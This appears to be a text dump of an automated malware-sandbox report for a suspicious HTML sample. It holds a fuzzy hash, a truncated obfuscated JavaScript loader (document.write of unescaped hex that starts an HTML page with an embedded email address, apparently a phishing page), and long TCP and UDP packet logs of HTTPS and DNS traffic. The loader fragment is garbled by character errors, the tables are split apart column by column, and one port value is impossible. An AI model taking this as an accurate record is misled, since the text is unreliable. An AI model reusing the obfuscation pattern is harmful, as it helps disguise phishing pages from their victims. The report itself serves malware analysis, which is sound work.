64a0097d0b12180e90b7bf075b875d2f36

192:ua/7cWZGSaQsbezjPQdzA68zM90XC8M9hRBZw5
RmhLga70iSUy0/HAQ:2944+zA68zGB8M9zkT75/A0

<script language="javascript">........ document.write(une

scape('%3c%21%44%41%43%54%59%50%45%20%68
%74%6d%6¢%3e%3c%68%74%6d%6c%3e%3c%68%
65%61%64%3e%3c%73%63%72%69%70%74%3e%7

6%61%72%20%6d%69%7a%7a%73%3d%22%72%68

%61%6d%6d%6%6e%64%40%74%62%63%6{%6e%7
3%75%6¢%74

Source Dest
Port Port Source IP  DestIP

192.168.2.3 8.8.8.8
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Timestamp Source Port Dest Port Source IP Dest IP

Apr 19, 2021 23:52:12.580070972 CEST 49719 443 192.168.2.3 172.67.176.224
Apr 19, 2021 23:52:12.631449938 CEST 443 49719 172.67.176.224 192.168.2.3
Apr 19, 2021 23:52:12.631531954 CEST 49719 443 192.168.2.3 172.67.176.224
Apr 19, 2021 23:52:12.631843090 CEST 49719 443 192.168.2.3 172.67.176.224
Apr 19, 2021 23:52:12.684925079 CEST 443 49719 172.67.176.224 192.168.2.3
Apr 19, 2021 23:52:12.690265894 CEST 443 49719 172.67.176.224 192.168.2.3
Apr 19, 2021 23:52:12.690301895 CEST 443 49719 172.67.176.224 192.168.2.3
Apr 19, 2021 23:52:12.690416098 CEST 49719 443 192.168.2.3 172.67.176.224
Apr 19, 2021 23:52:12.887881994 CEST 49719 443 192.168.2.3 172.67.176.224
Apr 19, 2021 23:52:12.888468027 CEST 49719 443 192.168.2.3 172.67.176.224
Apr 19, 2021 23:52:12.888894081 CEST 49719 443 192.168.2.3 172.67.176.224
Apr 19, 2021 23:52:12.939253092 CEST 443 49719 172.67.176.224 192.168.2.3
Apr 19, 2021 23:52:12.939456940 CEST 443 49719 172.67.176.224 192.168.2.3
Apr 19, 2021 23:52:12.939758062 CEST 443 49719 172.67.176.224 192.168.2.3
Apr 19, 2021 23:52:12.939806938 CEST 49719 443 192.168.2.3 172.67.176.224
Apr 19, 2021 23:52:12.939824104 CEST 443 49719 172.67.176.224 192.168.2.3
Apr 19, 2021 23:52:12.940148115 CEST 443 49719 172.67.176.224 192.168.2.3
Apr 19, 2021 23:52:12.991097927 CEST 443 49719 172.67.176.224 192.168.2.3
Apr 19, 2021 23:52:13.160473108 CEST 49719 443 192.168.2.3 172.67.176.224
Apr 19, 2021 23:52:13.467487097 CEST 443 49719 172.67.176.224 192.168.2.3
Apr 19, 2021 23:52:13.467499971 CEST 443 49719 172.67.176.224 192.168.2.3
Apr 19, 2021 23:52:13.467511892 CEST 443 49719 172.67.176.224 192.168.2.3
Apr 19, 2021 23:52:13.467524052 CEST 443 49719 172.67.176.224 192.168.2.3
Apr 19, 2021 23:52:13.467535019 CEST 443 49719 172.67.176.224 192.168.2.3
Apr 19, 2021 23:52:13.467541933 CEST 443 49719 172.67.176.224 192.168.2.3
Apr 19, 2021 23:52:13.467647076 CEST 49719 443 192.168.2.3 172.67.176.224
Apr 19, 2021 23:52:13.467680931 CEST 49719 443 192.168.2.3 172.67.176.224
Apr 19, 2021 23:52:13.633177042 CEST 49729 443 192.168.2.3 151.101.1.195
Apr 19, 2021 23:52:13.676670074 CEST 443 49729 151.101.1.195 192.168.2.3
Apr 19, 2021 23:52:13.676831961 CEST 49729 443 192.168.2.3 151.101.1.195
Apr 19, 2021 23:52:13.677071095 CEST 49729 443 192.168.2.3 151.101.1.195
Apr 19, 2021 23:52:13.722110987 CEST 443 49729 151.101.1.195 192.168.2.3
Apr 19, 2021 23:52:13.723239899 CEST 443 49729 151.101.1.195 192.168.2.3
Apr 19, 2021 23:52:13.723278046 CEST 443 49729 151.101.1.195 192.168.2.3
Apr 19, 2021 23:52:13.723314047 CEST 443 49729 151.101.1.195 192.168.2.3
Apr 19, 2021 23:52:13.723365068 CEST 49729 443 192.168.2.3 151.101.1.195
Apr 19, 2021 23:52:13.733850956 CEST 49729 443 192.168.2.3 151.101.1.195
Apr 19, 2021 23:52:13.734054089 CEST 49729 443 192.168.2.3 151.101.1.195
Apr 19, 2021 23:52:13.734180927 CEST 49729 443 192.168.2.3 151.101.1.195
Apr 19, 2021 23:52:13.777545929 CEST 443 49729 151.101.1.195 192.168.2.3
Apr 19, 2021 23:52:13.777581930 CEST 443 49729 151.101.1.195 192.168.2.3
Apr 19, 2021 23:52:13.777934074 CEST 49729 443 192.168.2.3 151.101.1.195
Apr 19, 2021 23:52:13.778745890 CEST 443 49729 151.101.1.195 192.168.2.3
Apr 19, 2021 23:52:13.778848886 CEST 49729 443 192.168.2.3 151.101.1.195
Apr 19, 2021 23:52:13.822597980 CEST 49729 443 192.168.2.3 151.101.1.195
Apr 19, 2021 23:52:13.865107059 CEST 443 49729 151.101.1.195 192.168.2.3
Apr 19, 2021 23:52:13.868666887 CEST 443 49729 151.101.1.195 192.168.2.3
Apr 19, 2021 23:52:13.869784117 CEST 443 49729 151.101.1.195 192.168.2.3
Apr 19, 2021 23:52:13.869815111 CEST 443 49729 151.101.1.195 192.168.2.3
Apr 19, 2021 23:52:13.869842052 CEST 443 49729 151.101.1.195 192.168.2.3
Apr 19, 2021 23:52:13.869864941 CEST 443 49729 151.101.1.195 192.168.2.3
Apr 19, 2021 23:52:13.869878054 CEST 49729 443 192.168.2.3 151.101.1.195
Apr 19, 2021 23:52:13.869885921 CEST 443 49729 151.101.1.195 192.168.2.3
Apr 19, 2021 23:52:13.869905949 CEST 49729 443 192.168.2.3 151.101.1.195
Apr 19, 2021 23:52:13.869906902 CEST 443 49729 151.101.1.195 192.168.2.3
Apr 19, 2021 23:52:13.869929075 CEST 443 49729 151.101.1.195 192.168.2.3
Apr 19, 2021 23:52:13.869946003 CEST 49729 443 192.168.2.3 151.101.1.195
Apr 19, 2021 23:52:13.869950056 CEST 443 49729 151.101.1.195 192.168.2.3
Apr 19, 2021 23:52:13.869995117 CEST 49729 443 192.168.2.3 151.101.1.195
Apr 19, 2021 23:52:13.871630907 CEST 443 49729 151.101.1.195 192.168.2.3
Apr 19, 2021 23:52:13.871663094 CEST 443 49729 151.101.1.195 192.168.2.3
Apr 19, 2021 23:52:13.871774912 CEST 49729 443 192.168.2.3 151.101.1.195
Apr 19, 2021 23:52:13.990587950 CEST 49730 443 192.168.2.3 104.16.124.175
Apr 19, 2021 23:52:14.033835888 CEST 443 49730 104.16.124.175 192.168.2.3
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Timestamp

Apr 19, 2021 23:52:14.033915997 CEST
Apr 19, 2021 23:52:14.034223080 CEST
Apr 19, 2021 23:52:14.077528000 CEST
Apr 19, 2021 23:52:14.079554081 CEST
Apr 19, 2021 23:52:14.079579115 CEST
Apr 19, 2021 23:52:14.079634905 CEST
Apr 19, 2021 23:52:14.095133066 CEST
Apr 19, 2021 23:52:14.095274925 CEST
Apr 19, 2021 23:52:14.095397949 CEST
Apr 19, 2021 23:52:14.138345003 CEST
Apr 19, 2021 23:52:14.138420105 CEST
Apr 19, 2021 23:52:14.138748884 CEST
Apr 19, 2021 23:52:14.138766050 CEST
Apr 19, 2021 23:52:14.138776064 CEST
Apr 19, 2021 23:52:14.138828039 CEST
Apr 19, 2021 23:52:14.139077902 CEST
Apr 19, 2021 23:52:14.151859999 CEST
Apr 19, 2021 23:52:14.151884079 CEST
Apr 19, 2021 23:52:14.151902914 CEST
Apr 19, 2021 23:52:14.151920080 CEST
Apr 19, 2021 23:52:14.151932001 CEST
Apr 19, 2021 23:52:14.151943922 CEST
Apr 19, 2021 23:52:14.151953936 CEST
Apr 19, 2021 23:52:14.152012110 CEST
Apr 19, 2021 23:52:14.152771950 CEST
Apr 19, 2021 23:52:14.152798891 CEST
Apr 19, 2021 23:52:14.152861118 CEST
Apr 19, 2021 23:52:14.153796911 CEST
Apr 19, 2021 23:52:14.153826952 CEST
Apr 19, 2021 23:52:14.154558897 CEST
Apr 19, 2021 23:52:14.154572964 CEST
Apr 19, 2021 23:52:14.182657003 CEST
Apr 19, 2021 23:52:14.216006994 CEST
Apr 19, 2021 23:52:14.260734081 CEST
Apr 19, 2021 23:52:14.260763884 CEST
Apr 19, 2021 23:52:14.260778904 CEST

UDP Packets

Timestamp

Apr 19, 2021 23:52:00.528506041 CEST
Apr 19, 2021 23:52:00.579932928 CEST
Apr 19, 2021 23:52:01.410120964 CEST
Apr 19, 2021 23:52:01.462620974 CEST
Apr 19, 2021 23:52:02.242058992 CEST
Apr 19, 2021 23:52:02.290803909 CEST
Apr 19, 2021 23:52:02.712656975 CEST
Apr 19, 2021 23:52:02.771337986 CEST
Apr 19, 2021 23:52:02.992826939 CEST
Apr 19, 2021 23:52:03.052694082 CEST
Apr 19, 2021 23:52:03.853804111 CEST
Apr 19, 2021 23:52:03.912976980 CEST
Apr 19, 2021 23:52:04.870147943 CEST
Apr 19, 2021 23:52:04.928661108 CEST
Apr 19, 2021 23:52:05.948379993 CEST
Apr 19, 2021 23:52:05.997128010 CEST
Apr 19, 2021 23:52:07.022912025 CEST
Apr 19, 2021 23:52:07.079695940 CEST
Apr 19, 2021 23:52:08.646600962 CEST
Apr 19, 2021 23:52:08.706417084 CEST
Apr 19, 2021 23:52:10.715661049 CEST
Apr 19, 2021 23:52:10.765714884 CEST
Apr 19, 2021 23:52:11.541266918 CEST
Apr 19, 2021 23:52:11.591993093 CEST
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Source Port
49730
49730
443
443
443
49730
49730
49730
49730
443
443
443
443
443
49730
49730
443
443
443
443
443
443
49730
49730
443
443
49730
443
443
49730
49730
443
49729
443
443
443

Source Port
64938
53
60152
53
57544
53
55984
53
64185
53
65110
53
58361
53
63492
53
60831
53
60100
53
57084
53
54366
53

Dest Port

443
443
49730
49730
49730
443
443
443
443
49730
49730
49730
49730
49730
443
443
49730
49730
49730
49730
49730
49730
443
443
49730
49730
443
49730
49730
443
443
49730
443
49729
49729
49729

Dest Port

53
64938
53
60152
53
57544
53
55984
53
64185
53
65110
53
58361
53
63492
53
60831
53
60100
53
57084
53
54366

Source IP
192.168.2.3
192.168.2.3
104.16.124.175
104.16.124.175
104.16.124.175
192.168.2.3
192.168.2.3
192.168.2.3
192.168.2.3
104.16.124.175
104.16.124.175
104.16.124.175
104.16.124.175
104.16.124.175
192.168.2.3
192.168.2.3
104.16.124.175
104.16.124.175
104.16.124.175
104.16.124.175
104.16.124.175
104.16.124.175
192.168.2.3
192.168.2.3
104.16.124.175
104.16.124.175
192.168.2.3
104.16.124.175
104.16.124.175
192.168.2.3
192.168.2.3
104.16.124.175
192.168.2.3
151.101.1.195
151.101.1.195
151.101.1.195

Source IP
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8

Dest IP
104.16.124.175
104.16.124.175
192.168.2.3
192.168.2.3
192.168.2.3
104.16.124.175
104.16.124.175
104.16.124.175
104.16.124.175
192.168.2.3
192.168.2.3
192.168.2.3
192.168.2.3
192.168.2.3
104.16.124.175
104.16.124.175
192.168.2.3
192.168.2.3
192.168.2.3
192.168.2.3
192.168.2.3
192.168.2.3
104.16.124.175
104.16.124.175
192.168.2.3
192.168.2.3
104.16.124.175
192.168.2.3
192.168.2.3
104.16.124.175
104.16.124.175
192.168.2.3
151.101.1.195
192.168.2.3
192.168.2.3
192.168.2.3

Dest IP
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
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Timestamp Source Port Dest Port Source IP Dest IP

Apr 19, 2021 23:52:12.349095106 CEST 53034 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:12.409003973 CEST 53 53034 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:12.505462885 CEST 57762 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:12.511552095 CEST 55435 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:12.511672020 CEST 50713 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:12.513402939 CEST 56132 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:12.520174980 CEST 58987 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:12.566617012 CEST 53 57762 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:12.569376945 CEST 53 55435 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:12.577831030 CEST 53 56132 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:12.579054117 CEST 53 50713 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:12.598634005 CEST 53 58987 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:12.975001097 CEST 56579 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:13.040971041 CEST 53 56579 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:13.143697023 CEST 60633 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:13.208663940 CEST 53 60633 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:13.241344929 CEST 61292 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:13.293750048 CEST 53 61292 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:13.565999031 CEST 63619 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:13.632114887 CEST 53 63619 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:13.925981045 CEST 64938 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:13.989351034 CEST 53 64938 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:14.237299919 CEST 61946 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:14.286032915 CEST 53 61946 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:14.567890882 CEST 64910 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:14.627628088 CEST 53 64910 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:14.854332924 CEST 52123 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:14.934767962 CEST 53 52123 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:15.087408066 CEST 58784 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:15.135977030 CEST 53 58784 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:15.950997114 CEST 63978 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:16.000514030 CEST 53 63978 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:16.297907114 CEST 62938 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:16.301145077 CEST 55708 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:16.352411032 CEST 53 55708 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:16.364017963 CEST 53 62938 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:16.603230953 CEST 56803 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:16.661539078 CEST 53 56803 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:17.542326927 CEST 57145 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:17.602826118 CEST 53 57145 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:17.681209087 CEST 556359 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:17.747335911 CEST 53 55359 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:17.824537992 CEST 58306 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:17.873476028 CEST 53 58306 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:17.999243021 CEST 64124 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:18.064847946 CEST 53 64124 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:19.698982000 CEST 49361 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:19.750211000 CEST 53 49361 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:20.218236923 CEST 63150 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:20.266961098 CEST 53 63150 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:20.899538994 CEST 55667 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:20.956765890 CEST 53 55667 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:23.493989944 CEST 54833 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:23.553674936 CEST 53 54833 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:24.990664959 CEST 62476 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:25.064008951 CEST 53 62476 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:25.609462023 CEST 49705 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:25.673966885 CEST 53 49705 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:26.439451933 CEST 61633 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:26.439515114 CEST 61477 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:26.440926075 CEST 55949 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:26.443034887 CEST 57601 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:26.491677999 CEST 53 57601 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:26.497781992 CEST 53 61477 8.8.8.8 192.168.2.3
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Apr 19, 2021 23:52:26.501596928 CEST 53 61633 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:26.514564037 CEST 53 55949 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:26.778809071 CEST 49342 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:26.840109110 CEST 53 49342 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:30.546871901 CEST 56253 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:30.570288897 CEST 49667 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:30.573641062 CEST 55439 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:30.605345964 CEST 53 56253 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:30.631983042 CEST 53 55439 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:30.632631063 CEST 53 49667 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:31.705972910 CEST 57069 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:31.769956112 CEST 53 57069 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:34.918454885 CEST 57659 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:34.918490887 CEST 54717 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:34.978673935 CEST 53 54717 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:34.978703022 CEST 53 57659 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:36.174052000 CEST 63975 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:36.235714912 CEST 53 63975 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:38.220844984 CEST 56639 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:38.281981945 CEST 53 56639 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:45.430265903 CEST 51856 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:45.479173899 CEST 53 51856 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:55.760442972 CEST 62152 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:55.812199116 CEST 53 62152 8.8.8.8 192.168.2.3
Apr 19, 2021 23:52:56.129832983 CEST 53470 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:52:56.188237906 CEST 53 53470 8.8.8.8 192.168.2.3
Apr 19, 2021 23:53:08.217572927 CEST 56446 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:53:08.288393974 CEST 53 56446 8.8.8.8 192.168.2.3
Apr 19, 2021 23:53:08.947623968 CEST 55515 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:53:09.006196022 CEST 53 55515 8.8.8.8 192.168.2.3
Apr 19, 2021 23:53:09.144562960 CEST 64547 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:53:09.210047007 CEST 53 64547 8.8.8.8 192.168.2.3
Apr 19, 2021 23:53:09.283266068 CEST 51759 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:53:09.331943035 CEST 53 51759 8.8.8.8 192.168.2.3
Apr 19, 2021 23:53:09.350341082 CEST 59207 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:53:09.411798000 CEST 53 59207 8.8.8.8 192.168.2.3
Apr 19, 2021 23:53:09.483272076 CEST 54269 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:53:09.553076982 CEST 53 54269 8.8.8.8 192.168.2.3
Apr 19, 2021 23:53:11.681512117 CEST 54856 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:53:12.640712023 CEST 54856 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:53:12.708224058 CEST 53 54856 8.8.8.8 192.168.2.3
Apr 19, 2021 23:53:12.753875971 CEST 53 54856 8.8.8.8 192.168.2.3
Apr 19, 2021 23:53:19.458370924 CEST 64140 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:53:19.459002018 CEST 62271 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:53:19.516767979 CEST 53 64140 8.8.8.8 192.168.2.3
Apr 19, 2021 23:53:19.518877983 CEST 53 62271 8.8.8.8 192.168.2.3
Apr 19, 2021 23:53:20.179508924 CEST 57404 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:53:20.265749931 CEST 53 57404 8.8.8.8 192.168.2.3
Apr 19, 2021 23:53:20.462582111 CEST 62997 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:53:20.532253027 CEST 53 62997 8.8.8.8 192.168.2.3
Apr 19, 2021 23:53:20.717087984 CEST 57712 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:53:20.724844933 CEST 60065 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:53:20.777508020 CEST 53 57712 8.8.8.8 192.168.2.3
Apr 19, 2021 23:53:20.805723906 CEST 53 60065 8.8.8.8 192.168.2.3
Apr 19, 2021 23:53:21.154053926 CEST 55068 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:53:21.213510036 CEST 53 55068 8.8.8.8 192.168.2.3
Apr 19, 2021 23:53:21.804414034 CEST 64700 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:53:21.869082928 CEST 53 64700 8.8.8.8 192.168.2.3
Apr 19, 2021 23:53:22.159914970 CEST 61998 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:53:22.177383900 CEST 53724 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:53:22.220659971 CEST 53 61998 8.8.8.8 192.168.2.3
Apr 19, 2021 23:53:22.236485004 CEST 53 53724 8.8.8.8 192.168.2.3
Apr 19, 2021 23:53:22.464503050 CEST 52328 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:53:22.542038918 CEST 53 52328 8.8.8.8 192.168.2.3
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Apr 19, 2021 23:53:23.638473034 CEST 58051 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:53:23.639100075 CEST 64130 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:53:23.697144985 CEST 53 58051 8.8.8.8 192.168.2.3
Apr 19, 2021 23:53:23.697253942 CEST 53 64130 8.8.8.8 192.168.2.3
Apr 19, 2021 23:53:24.200036049 CEST 50491 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:53:24.274127960 CEST 53 50491 8.8.8.8 192.168.2.3
Apr 19, 2021 23:53:25.871090889 CEST 53004 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:53:25.929315090 CEST 53 53004 8.8.8.8 192.168.2.3
Apr 19, 2021 23:53:29.545911074 CEST 52529 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:53:29.594645023 CEST 53 52529 8.8.8.8 192.168.2.3
Apr 19, 2021 23:53:42.659459114 CEST 53656 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:53:42.719527006 CEST 53 53656 8.8.8.8 192.168.2.3
Apr 19, 2021 23:53:55.763931036 CEST 62724 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:53:55.831892967 CEST 53 62724 8.8.8.8 192.168.2.3
Apr 19, 2021 23:53:55.978744030 CEST 56059 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:53:56.035933018 CEST 53 56059 8.8.8.8 192.168.2.3
Apr 19, 2021 23:53:59.183113098 CEST 63060 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:53:59.240931988 CEST 53 63060 8.8.8.8 192.168.2.3
Apr 19, 2021 23:54:02.240504980 CEST 51498 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:54:02.303163052 CEST 53 51498 8.8.8.8 192.168.2.3
Apr 19, 2021 23:54:07.001043081 CEST 59943 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:54:07.068001986 CEST 53 59943 8.8.8.8 192.168.2.3
Apr 19, 2021 23:54:14.586623907 CEST 50118 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:54:14.656456947 CEST 53 50118 8.8.8.8 192.168.2.3
Apr 19, 2021 23:54:14.788394928 CEST 58357 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:54:14.855705023 CEST 53 58357 8.8.8.8 192.168.2.3
Apr 19, 2021 23:54:17.490065098 CEST 55804 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:54:17.551803112 CEST 53 55804 8.8.8.8 192.168.2.3
Apr 19, 2021 23:54:19.606897116 CEST 58079 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:54:19.681554079 CEST 53 58079 8.8.8.8 192.168.2.3
Apr 19, 2021 23:54:33.517164946 CEST 52080 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:54:33.585047007 CEST 53 52080 8.8.8.8 192.168.2.3
Apr 19, 2021 23:54:33.697771072 CEST 55238 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:54:33.756999969 CEST 53 55238 8.8.8.8 192.168.2.3
Apr 19, 2021 23:54:37.742327929 CEST 49289 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:54:37.807585955 CEST 53 49289 8.8.8.8 192.168.2.3
Apr 19, 2021 23:54:37.924319983 CEST 61034 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:54:37.984252930 CEST 53 61034 8.8.8.8 192.168.2.3
Apr 19, 2021 23:54:55.363028049 CEST 51964 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:54:55.443943024 CEST 53 51964 8.8.8.8 192.168.2.3
Apr 19, 2021 23:54:56.091536999 CEST 58241 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:54:56.151725054 CEST 53 58241 8.8.8.8 192.168.2.3
Apr 19, 2021 23:54:56.998785973 CEST 59571 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:54:57.066646099 CEST 53 59571 8.8.8.8 192.168.2.3
Apr 19, 2021 23:54:57.522649050 CEST 51708 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:54:57.585819960 CEST 53 51708 8.8.8.8 192.168.2.3
Apr 19, 2021 23:54:58.210980892 CEST 60709 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:54:58.260508060 CEST 53 60709 8.8.8.8 192.168.2.3
Apr 19, 2021 23:54:58.858515024 CEST 62823 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:54:58.920795918 CEST 53 62823 8.8.8.8 192.168.2.3
Apr 19, 2021 23:54:59.369466066 CEST 63750 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:54:59.429557085 CEST 53 63750 8.8.8.8 192.168.2.3
Apr 19, 2021 23:55:00.111128092 CEST 61959 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:55:00.168615103 CEST 53 61959 8.8.8.8 192.168.2.3
Apr 19, 2021 23:55:01.603462934 CEST 63554 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:55:01.663309097 CEST 53 63554 8.8.8.8 192.168.2.3
Apr 19, 2021 23:55:03.158269882 CEST 57723 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:55:03.210031033 CEST 53 57723 8.8.8.8 192.168.2.3
Apr 19, 2021 23:55:04.794790030 CEST 58663 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:55:04.851727009 CEST 53 58663 8.8.8.8 192.168.2.3
Apr 19, 2021 23:55:05.723371983 CEST 50980 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:55:05.776803017 CEST 53 50980 8.8.8.8 192.168.2.3
Apr 19, 2021 23:55:07.048181057 CEST 50067 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:55:07.107812881 CEST 53 50067 8.8.8.8 192.168.2.3
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Apr 19, 2021 23:55:12.773086071 CEST 52992 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:55:12.838015079 CEST 53 52992 8.8.8.8 192.168.2.3
Apr 19, 2021 23:55:12.959284067 CEST 55129 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:55:13.019085884 CEST 53 55129 8.8.8.8 192.168.2.3
Apr 19, 2021 23:55:17.030129910 CEST 58319 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:55:17.109663963 CEST 53 58319 8.8.8.8 192.168.2.3
Apr 19, 2021 23:55:17.246551991 CEST 64785 53 192.168.2.3 8.8.8.8
